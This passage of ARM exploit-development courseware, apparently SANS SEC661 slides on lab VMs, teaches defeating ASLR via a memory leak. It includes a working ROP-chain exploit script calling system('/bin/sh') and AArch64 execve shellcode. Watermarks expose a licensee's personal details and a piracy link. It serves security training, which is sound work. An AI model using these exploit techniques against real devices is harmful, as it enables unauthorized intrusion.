the offset of memmove inside libc, we can calculate the runtime base address of libc.

>>> hex(0xb6e99310 - 0x5f310)


'0xb6e3a000’

Based on our math, libc is loaded at 0xb6e3a000 for this iteration of the process. When it restarts (due to
ASLR), it will be loaded at a different address. This is why it is important to not crash the target process while
acquiring the leaked address.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

106 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memory Leak (3)

• We can add offsets to libc libc

09b91222e5d2d3d668cf8e52ec5d35ba
to get the addresses for
0xb6e3a000 +0

the other items required


for our exploit
system +0x32990

...

...
micede1865@wii999_com
nemo@hammerhead:~/labs/leak$ radare2 libc-2.31.so

[0x0001aad8]> aaa
0xb6e99310 memmove +0x5f310
[0x0001aad8]> is | grep system
238 0x000c11ac GLOBAL FUNC 96 svcerr_systemerr
614 0x00032990 GLOBAL FUNC 28 __libc_system
1410 0x00032990 WEAK FUNC 28 system

24356915 SEC661 | ARM Exploit Development 107

Now that we have the base address of libc, we can calculate the runtime address of other artifacts that we
need. For example, if we need the system address, we can use static analysis tools to find the offset. Be careful
as to whether or not the function is THUMB. If it is THUMB, you will need to add +1 to the address when

Paul Erwin
putting together the final version of your exploit. To determine if an instruction is THUMB, check to see if the
width of the instruction is 2 bytes using a static analysis tool like Ghidra, Radare2, IDA. Readelf can also do
this quickly from the command line. In the output below we see that system is a THUMB instruction. Not all
tools indicate this automatically as seen in the slide.

nemo@hammerhead:~/labs/leak$ readelf -a libc-2.31.so | grep system


238: 000c11ad 96 FUNC GLOBAL DEFAULT 14 svcerr_systemerr@@GLIBC_2.4
614: 00032991 28 FUNC GLOBAL DEFAULT 14 __libc_system@@GLIBC_PRIVATE

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
1410: 00032991 28 FUNC WEAK DEFAULT 14 system@@GLIBC_2.4

live

© 2021 Hungry Hackers, LLC 107


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memory Leak (4)

• Add base of libc to the libc

09b91222e5d2d3d668cf8e52ec5d35ba
system offset to get the
0xb6e3a000 +0

runtime address of system

0xb6e6c990 system +0x32990


nemo@hammerhead:~$ python

micede1865@wii999_com
...
>>> hex(0xb6e3a000 + 0x32990)
'0xb6e6c990'
0xb6e99310 memmove +0x5f310

24356915 SEC661 | ARM Exploit Development 108

After we find the offset of system (0x32990) with our static analysis tools, we can then add this offset to the
base address of libc to get the runtime address of system. The runtime address of system is 0xb6e6c990.

hex(0xb6e3a000 + 0x32990)
'0xb6e6c990’ Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

108 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memory Leak (5)

• Our ROP gadget is not a libc

09b91222e5d2d3d668cf8e52ec5d35ba
symbol, but we can use
0xb6e3a000 +0

objdump to get the offset


for a “pop {r0, r4, pc}”
gadget 0xb6e6c990 system +0x32990

micede1865@wii999_com
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so
| grep pop | grep r0 0xb6e99310 memmove +0x5f310
...
5f3fc: e8bd8011 pop {r0, r4, pc} gadget1 +0x5f3fc

24356915 SEC661 | ARM Exploit Development 109

We can repeat this technique to find the other artifacts we need. Previously we identified pop {r0, r4,
pc} as a ROP gadget we want to use. We use objdump to find the offset of this instruction. We see the
offset as 0x5f3fc.

b198 cbz
Paul Erwin
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep pop | grep r0
4cfde: r0, 4d008 <_IO_popen@@GLIBC_2.4+0x38>
4d006: b108 cbz r0, 4d00c <_IO_popen@@GLIBC_2.4+0x3c>
5f3fc: e8bd8011 pop {r0, r4, pc}

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 109


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Memory Leak (6)

libc
• Just like system, we can
09b91222e5d2d3d668cf8e52ec5d35ba
add the offset of the
0xb6e3a000 +0

gadget to the base address


of libc, to get its runtime
address 0xb6e6c990 system +0x32990

micede1865@wii999_com
nemo@hammerhead:~$ python 0xb6e99310 memmove +0x5f310
...
>>> hex(0xb6e3a000 + 0x5f3fc) 0xb6e993fc gadget1 +0x5f3fc
'0xb6e993fc'

24356915 SEC661 | ARM Exploit Development 110

Remember the technique we used to find the runtime address of system? We can do the same thing with
gadget1. The runtime address for gadget1 is 0xb6e993fc.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

110 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Finding Strings in Radare2

• Find the offset for /bin/sh libc

09b91222e5d2d3d668cf8e52ec5d35ba
in radare2
0xb6e3a000 +0

• izz – search for strings


• Add the offset to libc
nemo@hammerhead:~/labs/leak$ radare2 libc-2.31.so 0xb6e6c990 system +0x32990
...

micede1865@wii999_com
[0x0001aad8]> aaa
...
[0x0001aad8]> izz | grep /bin/sh
17650 0x000e034c 7 8 .rodata ascii /bin/sh
0xb6e99310 memmove +0x5f310

0xb6e993fc gadget1 +0x5f3fc


nemo@hammerhead:~$ python
...
>>> hex(0xb6e3a000 + 0xe034c) 0xb6f1a34c “/bin/sh” +0xe034c
'0xb6f1a34c'

24356915 SEC661 | ARM Exploit Development 111

Radare2 can be used to find the offset of a “/bin/sh” string that we have identified previously for our ROP
gadgets. We use the same technique and find the offset for the string at 0xe034c, and this makes the address of
the “/bin/sh” string at runtime 0xb6f1a34c.

>>> hex(0xb6e3a000 + 0xe034c)


'0xb6f1a34c’
Paul Erwin
Using the izz command in radare2 will list all of the strings.
[0x0001aad8]> iz?
| iz|izj Strings in data sections (in JSON/Base64)
| izz Search for Strings in the whole binary

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
| izzz
| iz- [addr]
Dump Strings from whole binary to r2 shell (for huge files)
Purge string via bin.str.purge
[0x0001aad8]> izz | grep /bin/sh
17650 0x000e034c 0x000e034c 7 8 .rodata ascii /bin/sh

live

© 2021 Hungry Hackers, LLC 111


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Building the ROP Chain

libc
• We now have the runtime
09b91222e5d2d3d668cf8e52ec5d35ba
addresses needed to
assemble and throw the
exploit and bypass ASLR
system
gadget1 0xb6e993fc
micede1865@wii999_com
system
“/bin/sh”
0xb6e6c990
0xb6f1a34c
0xb6e6c991

gadget1
We need to use +1 for system
since this is a THUMB function.
“/bin/sh”

24356915 SEC661 | ARM Exploit Development 112

Now we have the runtime addresses of the artifacts we need to build our ROP chain. We did this by leveraging
a (staged) memory leak, calculating the runtime address of libc, and then adding the static offsets to the
runtime address of libc to get the runtime addresses of the artifacts we needed to craft our exploit.

Paul Erwin
Take a look at /home/nemo/labs/leak/exploit.py and see how the math is done. The only variable
that needs to change in this script is the memmove address. The math in the script takes care of the rest.

nemo@hammerhead:~/labs/leak$ cat exploit.py


import struct

# UPDATE THIS VALUE

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
memmove_addr = 0xb6e99310

# Offsets will be based on libc version


offset_system = 0x32991
offset_memmove = 0x5f310
offset_gadget1 = 0x5f3fc
offset_binstr = 0xe034c

# Find the base address of libc


libc_addr = memmove_addr - offset_memmove
live
# Calculate the absolute addresses according to their offsets
gadget1_addr = libc_addr + offset_gadget1
binstr_addr = libc_addr + offset_binstr
system_addr = libc_addr + offset_system

112 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


print("libc addr: 0x%08x, memmove_addr: 0x%08x, gadget1 addr: 0x%08x, binstr addr: 0x%08x, system
addr: 0x%08x" % (libc_addr, memmove_addr, gadget1_addr, binstr_addr, system_addr))

# Combine into a buffer


buffer = "A"*116 + struct.pack('<I', gadget1_addr) + struct.pack('<I', binstr_addr) + "\x43\x43\x43\x43" +

09b91222e5d2d3d668cf8e52ec5d35ba
struct.pack('<I', system_addr)

# Write buffer to config file


config_file = open('config.txt', 'wb')
config_file.write(buffer)
config_file.close()

micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 113


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 11 | Memory Leaks
Duration Time: 30 Minutes

09b91222e5d2d3d668cf8e52ec5d35ba
ASLR can be a devastating exploit mitigation. Without knowledge of the memory layout, attackers don't know
what addresses to use in their payloads. Memory leaks can potentially provide enough information to piece
together an effective exploit. In this lab we use a staged memory leak in order to demonstrate how they can
be leveraged to bypass ASLR.

OBJECTIVES PREPARATION

micede1865@wii999_com
• Finding the base address of a memory segment
given a leaked address
• Using tools to find the offset of items within a
This lab will be done in the Mako virtual machine.

See the SANS SEC661 workbook for detailed lab


memory segment (readelf, objdump, radare2) instructions.
• Calculating required addresses in order to
build a ROP chain to defeat ASLR Tools used: objdump, readelf, radare2, gdb

24356915 SEC661 | ARM Exploit Development 114

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

114 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Course Roadmap SEC661.2

1. Firmware

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit

micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM

24356915 SEC661 | ARM Exploit Development 115

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 115


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.2 Exploiting IoT Devices

64-bit ARM
09b91222e5d2d3d668cf8e52ec5d35ba
Exploiting a 64-bit ARM system shares many of the same concepts as a 32-bit system.
At a glance, we notice the addresses and registers are larger, but many of the
underlying fundamentals are the same. The larger address space can be problematic at
micede1865@wii999_com
times, but there are also some benefits to this platform. Smartphones, laptops, and
other consumer-based systems have transitioned to 64-bit, but many of the smaller,
embedded systems still run 32-bit ARM.

24356915 SEC661 | ARM Exploit Development 116

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

116 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM64 - Overview

09b91222e5d2d3d668cf8e52ec5d35ba
• Introduced in ARMv8
• Continued in ARMv9 (Announced March 30, 2021)
• Backward compatibility to run 32-bit ARM instructions

micede1865@wii999_com
Referred to as ARM64
or AARCH64

24356915 SEC661 | ARM Exploit Development 117

64-bit ARM became available with the introduction of the ARMv8 architecture. So, if you are running
ARMv7 or below, know that you will be on a 32-bit platform. ARMv8 processors are backward compatible
and can run in either 32-bit (aarch32) or 64-bit (aarch64) mode. It is common to refer to ARM 64-bit as

Paul Erwin
AARCH64. These terms are interchangeable, and you will see this throughout the labs. While many of the IoT
devices are running 32-bit architectures, you will find 64-bit ARM processors in cell phones and other systems
that are designed for heavy use by consumers.

ARMv9 was introduced at the end of March 2021 and will no doubt introduce many new improvements and
security features.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 117


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


64-bit ARM Registers

• Registers can be read as 64-bit (x0-x30, sp, pc) or 32-


09b91222e5d2d3d668cf8e52ec5d35ba
bit values (w0-w30)
• 31 General Purpose Registers (vs 13 in 32-bit)
• 2 Special Purpose Registers (sp, pc)
• Registers x0-x7 can be used to pass arguments to
micede1865@wii999_com
functions (vs r0-r3)
x0-x29
LR (x30): Link Register 32-bit address space: 0x0 – 0xffffffff
SP: Stack Pointer 64-bit address space: 0x0 - 0xffffffffffffffff
PC: Program Counter

24356915 SEC661 | ARM Exploit Development 118

The registers in 64-bit ARM start with “X” instead of “R” as we saw with the 32-bit ARM processors. The
lower 32-bits of the 64-bit registers can also be referenced with “W”. The 64-bit ARM processor now has 31
(x0-x30) general purpose registers instead of 13. SP, and PC are considered special purpose registers.

Paul Erwin
There are also new registers. For example, the special registers XZR (can also be referenced as WZR) are
always 0.
Note: We will use this later in our shellcode example.

There is also much more addressable memory on 64-bit systems.


32-bit = 4 gb
64-bit = 17,179,869,184 gb

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Another point to keep in mind, especially when writing shellcode is that the program counter (PC) is not
considered a general-purpose register in A64, and it cannot be used with data processing instructions. See the
resources below for additional information.

Reference:
https://developer.arm.com/documentation/102374/0101/Registers-in-AArch64---general-purpose-registers
https://developer.arm.com/documentation/102374/0101/Registers-in-AArch64---other-registers

live

118 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Compiling and Debugging

• Compiling is done the same with gcc


09b91222e5d2d3d668cf8e52ec5d35ba
• The same C code can be compiled for both 32-bit and 64-bit ARM
• Assembly and object code will be different
• Cross compiling is done the same way but with a
different toolchain (aarch64-linux-gnu-gcc)
micede1865@wii999_com
• Debugging is similar
• View 64-bit values using ‘g’ format specifier (i.e., x/30g $sp)
• gef also works with 64-bit ARM

24356915 SEC661 | ARM Exploit Development 119

Under the hood, the assembly and object code will be different from 32-bit ARM because it has to match the
architecture in order to run. However, the C code is at a higher layer of abstraction, and it can be the same (in
most cases) in both 32-bit and 64-bit ARM. Gcc will compile the source code and create intermediate

Paul Erwin
assembly instructions that match the target architecture.

Cross-compiling for aarch64 on a non-native platform is done the same way, but with a different toolchain
(aarch64-linux-gnu-gcc).

nemo@tiger:~/labs64/simple_loop$ gcc -o simple_loop src/simple_loop.c

nemo@tiger:~/labs64/simple_loop$ file simple_loop

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
simple_loop: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter
/lib/ld-linux-aarch64.so.1, BuildID[sha1]=ed6354678540f6f7352053032535621a914c3c8d, for GNU/Linux
3.7.0, not stripped

nemo@tiger:~/labs64/simple_loop$ gdb simple_loop


GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
live
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "aarch64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

© 2021 Hungry Hackers, LLC 119


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
87 commands loaded for GDB 9.2 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.

09b91222e5d2d3d668cf8e52ec5d35ba
Reading symbols from simple_loop...
(No debugging symbols found in simple_loop)
gef➤ disas main
Dump of assembler code for function main:
0x000000000000076c <+0>: stp x29, x30, [sp, #-48]!
0x0000000000000770 <+4>: mov x29, sp
0x0000000000000774 <+8>: str w0, [sp, #28]
0x0000000000000778 <+12>: str x1, [sp, #16]

micede1865@wii999_com
0x000000000000077c <+16>: mov
0x0000000000000780 <+20>: str
0x0000000000000784 <+24>: str
w0, #0xa
w0, [sp, #44]
wzr, [sp, #40]
// #10

0x0000000000000788 <+28>: b 0x798 <main+44>


0x000000000000078c <+32>: ldr w0, [sp, #40]
0x0000000000000790 <+36>: add w0, w0, #0x1
0x0000000000000794 <+40>: str w0, [sp, #40]
0x0000000000000798 <+44>: ldr w1, [sp, #40]
0x000000000000079c <+48>: ldr w0, [sp, #44]
0x00000000000007a0 <+52>: cmp
0x00000000000007a4 <+56>: b.lt
0x00000000000007a8 <+60>: ldr
24356915 w1, w0
0x78c <main+32> // b.tstop
w1, [sp, #40]
0x00000000000007ac <+64>: adrp x0, 0x0
0x00000000000007b0 <+68>: add x0, x0, #0x868
0x00000000000007b4 <+72>: bl 0x650 <printf@plt>
0x00000000000007b8 <+76>: mov w0, #0x0 // #0
0x00000000000007bc <+80>: ldp x29, x30, [sp], #48
0x00000000000007c0 <+84>: ret
End of assembler dump.
gef➤
Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

120 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM64 Cross-Compile and Execute

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/labs64/simple_loop/src$ uname -a
Linux hammerhead 5.8.0-44-generic #50~20.04.1-Ubuntu SMP Wed Feb 10 21:07:30 UTC 2021 x86_64
x86_64 x86_64 GNU/Linux

nemo@hammerhead:~/labs64/simple_loop/src$ aarch64-linux-gnu-gcc -static -o simple_loop.arm64


./simple_loop.c

nemo@hammerhead:~/labs64/simple_loop/src$ file simple_loop.arm64


simple_loop.arm64: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux), statically
linked, BuildID[sha1]=bbfcabcb356c65444ed5ca1b61f6258f62c7135a, for GNU/Linux 3.7.0, not stripped

micede1865@wii999_com
nemo@hammerhead:~/labs64/simple_loop/src$ ./simple_loop.arm64
bash: ./simple_loop.arm64: cannot execute binary file: Exec format error

nemo@hammerhead:~/labs64/simple_loop/src$ qemu-aarch64 ./simple_loop.arm64


total: 10

24356915 SEC661 | ARM Exploit Development 121

There is also a qemu tool for executing 64-bit ARM binaries. Like qemu-arm, qemu-aarch64 will execute
user mode programs. As you can see, many of these tools operate in a similar way as the 32-bit tools.

Paul Erwin
Note: These programs must be statically compiled, or you need to supply a path for them to find their
dependencies with the “-L” parameter.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 121


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Radare2 – AARCH64 (verify_pin)

09b91222e5d2d3d668cf8e52ec5d35ba
[0x00400570]> s main
[0x00400750]> pdf
; CODE XREF from loc.__wrap_main @
┌ 104: int main (int argc, char **argv);
... <skipped>...
│ 0x0040076c 00200091 add x0, x0, 8
│ 0x00400770 000040f9 ldr x0, [x0]
│ 0x00400774 ceffff97 bl sym.verify_pin
│ 0x00400778 e0bf0039 strb w0, [var_2fh]
│ 0x0040077c e0bf4039 ldrb w0, [var_2fh] ; [0x2f:4]=-1 ; 47
│ 0x00400780 1f000071 cmp w0, 0
│ ┌─< 0x00400784 a0000054 b.eq 0x400798
│ │ 0x00400788 800200d0 adrp x0, 0x452000
│ │ 0x0040078c 00e02b91 add x0, x0, 0xaf8 ; 0x452af8 ; "The door is locked. Try again\n" ; const char *s
│ │ 0x00400790 fc320094 bl sym.puts ; int puts(const char *s)





micede1865@wii999_com
┌──< 0x00400794
││



0x0040079c
0x004007a0
06000014

00602c91
f8320094
b 0x4007ac
; CODE XREF from main @ 0x400784
│└─> 0x00400798 800200d0 adrp x0, 0x452000
add x0, x0, 0xb18
bl sym.puts
; 0x452b18 ; "Door unlocked!!!\n" ; const char *s
; int puts(const char *s)
│ │ 0x004007a4 00008052 movz w0, 0
│ │ 0x004007a8 a0160094 bl sym.exit ; void exit(int status)
│ │ ; CODE XREF from main @ 0x400794
│ └──> 0x004007ac 00008052 movz w0, 0
│ 0x004007b0 fd7bc3a8 ldp x29, x30, [sp], 0x30
└ 0x004007b4 c0035fd6 ret
[0x00400750]>

address object code

24356915 SEC661 | ARM Exploit Development 122

Radare2 also works the same way. The addresses shown in the listing are not the full 64-bit addresses. Also,
notice that each instruction is 4 bytes.

Paul Erwin
This example was done from the hammerhead vm.

nemo@hammerhead:~/labs64/verify_pin$ r2 ./verify_pin
[0x00400570]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
[x] Finding xrefs in noncode section with anal.in=io.maps
[x] Analyze value pointers (aav)
[x] Value from 0x00400000 to 0x0047639d (aav)
[x] 0x00400000-0x0047639d in 0x400000-0x47639d (aav)
[x] Emulate functions to find computed references (aaef)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

Continued ...
live

122 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


[0x00400750]> ia | more
arch arm
baddr 0x400000
binsz 604870
bintype elf

09b91222e5d2d3d668cf8e52ec5d35ba
bits 64
canary true
class ELF64
compiler GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crypto false
endian little
havecode true
laddr 0x0

micede1865@wii999_com
lang c
linenum true
lsyms true
machine ARM aarch64
maxopsz 4
minopsz 4
...

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 123


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Ghidra – AARCH64

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 124

Ghidra also works the same with aarch64 binaries. All of the features work with both 32-bit and 64-bit
versions of ARM.

nemo@hammerhead:~$ ./ghidraRun
Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

124 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Tiger Virtual Machine

• Similar to mako and dogfish, but 64-bit


09b91222e5d2d3d668cf8e52ec5d35ba
kernel nemo@hammerhead:~$ cd qemu/tiger
(5.4.0-70-generic) nemo@hammerhead:~/qemu/tiger$ ls
conf flash0.img flash1.img start_tiger.sh tiger.img
nemo@hammerhead:~/qemu/tiger$ sudo ./start_tiger.sh

micede1865@wii999_com
tiger vm
(aarch64) nemo@tiger:~$ lscpu
Architecture:
CPU op-mode(s):
aarch64
32-bit, 64-bit
Byte Order: Little Endian
...

Hammerhead virtual machine

24356915 SEC661 | ARM Exploit Development 125

A 64-bit ARM virtual machine named “tiger” is available that can be ran from within the hammerhead vm. It
has 2 flash image files in addition to its virtual hard disk (tiger.img) but runs similar and is started the
same as the mako and dogfish vms. Once it is booted up, it is still recommended to use ssh for accessing the

Paul Erwin
this vm. This will take full advantage of the display in the Linux console.

nemo@hammerhead:~$ cd qemu/tiger

nemo@hammerhead:~/qemu/tiger$ ls
conf flash0.img flash1.img start_tiger.sh tiger.img

nemo@hammerhead:~/qemu/tiger$ sudo ./start_tiger.sh

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Continued on the following page.

live

© 2021 Hungry Hackers, LLC 125


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


AARCH64 - Buffer Overflow Exploits

• Overflow concepts are similar to 32-bit


09b91222e5d2d3d668cf8e52ec5d35ba
• Addresses used in the exploit will be 64-bit
• Return addresses, pointers, etc.
• More bytes may require additional workarounds to avoid bad
characters
• Function prologues and epilogues will be different
micede1865@wii999_com
• The same underlying concepts for exploitation apply
• If you can overflow a stack buffer, determine whether or not you
can gain control of execution based on what you can overwrite

24356915 SEC661 | ARM Exploit Development 126

We will work through some labs with 64-bit ARM, and you will see the differences, but you will also notice
that many of the underlying fundamentals are the same. This is true with buffer overflows as well.

Paul Erwin
One major differences are the addresses and registers that you need to work with. More bytes in the addresses
mean more potential for bad characters causing problems. It also means more space will be needed for ROP
gadget buffers, etc.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

126 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


AARCH64 Shellcode

• In supervisor calls, populate x8 instead of r7 with the


09b91222e5d2d3d668cf8e52ec5d35ba
service id. Also, syscall id associations are different.
nemo@tiger:~/labs64/shellcode/asm$ cat execve.s
//Original shellcode available here: https://www.exploit-db.com/exploits/47048
//Author: Ken Kitahara

.section .text
.global _start
_start:

micede1865@wii999_com
// execve("/bin/sh", NULL, NULL)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
// x1 = 0x000000000000622F ("b/")
// x1 = 0x000000006E69622F ("nib/")
// x1 = 0x0000732F6E69622F ("s/nib/")
// x1 = 0x0068732F6E69622F ("hs/nib/")
str x1, [sp, #-8]! // push x1
mov x1, xzr // args[1] = NULL
mov x2, xzr // args[2] = NULL
add x0, sp, x1 // args[0] = pointer to "/bin/sh\0"
mov x8, #221 // Systemcall Number = 221 (execve)
svc #0x1337 // Invoke Systemcall

24356915 SEC661 | ARM Exploit Development 127

Assembling shellcode works the same in 64-bit ARM. We can also link object files with ld –N for testing
just like we did with 32-bit ARM.

Paul Erwin
In this shellcode, we take advantage of the xzr register which always holds zero. The instructions ‘mov x1,
xzr’ and ‘mov x2, xzr’ are used and the opcodes for these instructions will not have null bytes like
we would have if we were to use ‘movs x1, #0’.

Also, when we invoke a supervisor call using the svc instruction, we need to put the syscall id into the
x8 register. This is different from 32-bit ARM that used the r7 register.

The syscall ids are different as well. In 64-bit ARM the syscall id for execve is 221, but on 32-

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
bit ARM it was 11. See the link in Resources for more information.

nemo@tiger:~/labs64/shellcode$ as -o execve.o ./execve.s

nemo@tiger:~/labs64/shellcode$ ld -N -o execve execve.o

nemo@tiger:~/labs64/shellcode$ ./execve
$

Reference:
ARM 64-bit syscall ids
live
https://github.com/torvalds/linux/blob/v4.17/include/uapi/asm-generic/unistd.h
https://www.exploit-db.com/exploits/47048

© 2021 Hungry Hackers, LLC 127


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 12 | 64-Bit ARM
Duration Time: 30 Minutes

09b91222e5d2d3d668cf8e52ec5d35ba
Working with 64-bit ARM is different from working with 32-bit, but there are also many similarities. This lab
is intended to demonstrate the differences while at the same time show how the underlying fundamentals
apply.

OBJECTIVES PREPARATION




micede1865@wii999_com
Compiling and debugging
Observing function calls
Assembling shellcode and extracting bytes
This lab will be done in the Tiger virtual machine.

See the SANS SEC661 workbook for detailed lab


• Exploiting a buffer overflow instructions.

Tools used: gcc, gdb, as, ld, objdump, objcopy,


python

24356915 SEC661 | ARM Exploit Development 128

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

128 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661 Conclusion
Thank You!
micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 129

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 129


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


COURSE RESOURCES AND CONTACT INFORMATION

09b91222e5d2d3d668cf8e52ec5d35ba AUTHOR CONTACT


SANS INSTITUTE
11200 Rockville Pike, Suite 200
John deGruyter
N. Bethesda, MD 20852
debug@hungryhackers.org
301.654.SANS(7267)

micede1865@wii999_com
PEN TESTING RESOURCES
SANS EMAIL
GENERAL INQUIRIES: info@sans.org
pen-testing.sans.org REGISTRATION: registration@sans.org
Twitter: @SANSPenTest TUITION: tuition@sans.org
PRESS/PR: press@sans.org

24356915 SEC661 | ARM Exploit Development 130

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

130 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021 SEC661 | ARM EXPLOIT DEVELOPMENT

09b91222e5d2d3d668cf8e52ec5d35ba

Workbook
micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

THE MOST TRUSTED SOURCE FOR INFORMATION SECURITY TRAINING, CERTIFICATION, AND RESEARCH | sans.org

https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


© 2021 Hungry Hackers, LLC. All rights reserved to Hungry Hackers, LLC and/or SANS Institute.

PLEASE READ THE TERMS AND CONDITIONS OF THIS COURSEWARE LICENSE AGREEMENT
("CLA") CAREFULLY BEFORE USING ANY OF THE COURSEWARE ASSOCIATED WITH THE SANS
COURSE. THIS IS A LEGAL AND ENFORCEABLE CONTRACT BETWEEN YOU (THE “USER”) AND
SANS INSTITUTE FOR THE COURSEWARE. YOU AGREE THAT THIS AGREEMENT IS
